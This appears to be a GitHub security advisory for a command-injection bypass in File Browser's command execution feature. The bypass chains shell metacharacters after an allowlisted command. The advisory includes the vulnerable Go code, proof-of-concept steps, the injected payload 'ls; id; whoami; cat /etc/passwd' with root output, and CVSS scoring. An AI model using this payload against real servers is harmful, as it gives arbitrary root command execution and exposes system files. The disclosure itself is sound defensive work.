Skip to content

File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection

High severity GitHub Reviewed Published Jun 3, 2026 in filebrowser/filebrowser • Updated Jun 12, 2026

Package

gomod github.com/filebrowser/filebrowser/v2 (Go)

Affected versions

< 2.33.8

Patched versions

2.33.8

Description

Note

This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check filebrowser/filebrowser#5199.

Summary

When a shell interpreter is configured (e.g. /bin/sh -c), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and $() all work to chain arbitrary commands after a permitted one.

This is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The slices.Contains fix does not prevent this bypass.

Affected Location

  • runner/parser.go, function ParseCommand (lines 10-25)
  • http/commands.go, function commandsHandler (lines 72-86)

Root Cause

ParseCommand extracts the first token via SplitCommandAndArgs for the allowlist check, then passes the entire raw input to the shell:

func ParseCommand(s *settings.Settings, raw string) (command []string, name string, err error) {
    name, args, err := SplitCommandAndArgs(raw)
    if len(s.Shell) == 0 || s.Shell[0] == "" {
        command = append(command, name)
        command = append(command, args...)
    } else {
        command = append(command, s.Shell...)
        command = append(command, raw)   // full user input, metacharacters included
    }
    return command, name, nil
}

In commandsHandler:

if !slices.Contains(d.user.Commands, name) {  // name = "ls", passes
    // reject
}
cmd := exec.Command(command[0], command[1:]...)
// actually executes: /bin/sh -c "ls; id; cat /etc/shadow"

name is ls — allowed. But /bin/sh -c interprets the rest.

PoC

Prerequisites:

  • Command execution enabled (--disable-exec=false)
  • Shell configured to /bin/sh -c
  • User has Execute permission with an allowlist, e.g. git,ls,cat

Steps:

  1. Log in, grab a JWT:
POST /api/login
{"username":"admin","password":"..."}
  1. Open a WebSocket to /api/command/ with header X-Auth: <jwt>.

  2. Send:

ls; id; whoami; cat /etc/passwd
  1. All four commands execute and output is returned. Sending just whoami alone returns "Command not allowed." — the allowlist is active but bypassable.

Output:

bin
etc
home
...
===BYPASS===
uid=0(root) gid=0(root) groups=0(root),10(wheel)
root
root:x:0:0:root:/root:/bin/sh

Tested against commit d236f1c (frontend v3.0.0) on the official Docker image filebrowser/filebrowser:latest.

Impact

Any user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.

References

@hacdias hacdias published to filebrowser/filebrowser Jun 3, 2026
Published to the GitHub Advisory Database Jun 12, 2026
Reviewed Jun 12, 2026
Last updated Jun 12, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(7th percentile)

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

CVE ID

CVE-2026-54090

GHSA ID

GHSA-8c9q-7855-wfxq

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.